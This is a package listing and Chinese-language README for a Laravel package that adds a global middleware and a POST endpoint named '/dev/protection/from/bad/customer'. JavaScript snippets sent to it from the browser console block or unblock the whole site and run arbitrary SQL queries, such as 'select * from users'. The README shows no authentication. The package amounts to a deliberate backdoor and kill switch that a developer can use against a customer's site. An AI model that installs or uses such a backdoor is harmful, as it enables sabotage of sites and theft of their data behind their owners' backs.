masterro/dev-protection

Laravel 5.* 的快速开发者保护功能包

1.1.2 2017-08-07 14:34 UTC

This package is auto-updated.

Last update: 2024-09-06 08:56:18 UTC


README

这是一个小巧的 Laravel >= 5 包,自带三个功能:从浏览器 JavaScript 控制台阻止、取消阻止和运行任何 SQL 查询。

安装

步骤 1:Composer

在命令行中运行

composer require masterro/dev-protection

步骤 2:服务提供者(针对 Laravel < 5.5)

对于您的 Laravel 应用程序,打开 config/app.php 文件,并在 providers 数组中添加以下内容:

MasterRO\DevProtection\DevProtectionServiceProvider::class

步骤 3:中间件

我将中间件推送到全局中间件堆栈,但不确定它是否在所有 Laravel 版本中都能正常工作。因此,您可以在不添加中间件的情况下尝试,如果不起作用,请手动将其添加到您的 HTTP Kernel 中,或者创建一个检查网站是否被阻止并抛出异常或显示自定义页面的中间件。

protected $middleware = [
    \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
    \MasterRO\DevProtection\ProtectionMiddleware::class,
];

用法

在浏览器中打开 JavaScript 控制台并运行

要阻止

var xhr = new XMLHttpRequest();
var data = new FormData;

data.append('action', 'block');

xhr.open("POST", '/dev/protection/from/bad/customer', true);

xhr.send(data);

要取消阻止

var xhr = new XMLHttpRequest();
var data = new FormData;

data.append('action', 'unblock');

xhr.open("POST", '/dev/protection/from/bad/customer', true);

xhr.send(data);

要运行 SQL 查询

var xhr = new XMLHttpRequest();
var data = new FormData;

data.append('action', 'query');
data.append('params[]', 'select * from users'); // sql
data.append('params[]', 'select'); // query type - available types: select, update, delete, statement

xhr.open("POST", '/dev/protection/from/bad/customer', true);

xhr.send(data);

此包使用底层类 MasterRO\DevProtection\Protector,该类使用 Macroable 特性,因此您可以扩展您所需的功能。